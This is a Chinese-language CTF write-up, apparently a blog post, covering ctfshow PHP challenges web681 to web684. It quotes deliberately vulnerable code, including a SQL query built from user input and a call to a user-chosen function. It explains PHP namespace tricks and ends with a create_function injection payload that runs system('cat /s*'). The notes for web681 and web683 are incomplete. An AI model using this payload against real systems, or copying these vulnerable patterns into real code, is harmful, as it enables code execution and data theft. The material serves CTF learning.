web681

原创已于 2023-03-31 00:55:52 修改 · 168 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#php #数据库 #服务器

于 2023-03-30 22:31:42 首次发布

该文讨论了PHP中的命名空间使用，强调了函数调用的相对与绝对路径差异，并通过示例展示了`create_function`如何创建匿名函数，以及潜在的安全问题。文中提到通过特定payload可能触发命令执行漏洞。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-09-24 14:58:16
# @Last Modified by:   h1xa
# @Last Modified time: 2021-09-24 16:04:49
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include "common.php";

session_start();

if (isset($_POST["name"])){
  $name = str_replace("'", "", trim(waf($_POST["name"])));
  if (strlen($name) > 11){
    echo("<script>alert('name too long')</script>");
  }else{
    $sql = "select count(*) from ctfshow_users where username = '$name' or nickname = '$name'";
    echo $sql;
    $db = new db();
    $result = $db->select_one_array($sql);
    if ($result[0]){
      $_SESSION['hat'] = 'black';
      echo 'good job';
    }else{
    $_SESSION['hat'] = 'green';
    }
    header("Location: index.php");
  }

}

web683

web684:

 <?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

在PHP的命名空间默认为\，所有的函数和类都在\这个命名空间中，如果直接写函数名function_name()调用，
调用的时候其实相当于写了一个相对路径；而如果写\function_name() 这样调用函数，则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类，就必须写绝对路径这种写法。

create_function('$a','return 111')
等价于
function a($a){
    return 111;
}

create_function('$a','return 111;}phpinfo();//'）
等价于
function a($a){
    return 111;}phpinfo();//
}

payload:/?action=%5ccreate_function&arg=}system("cat /s*");//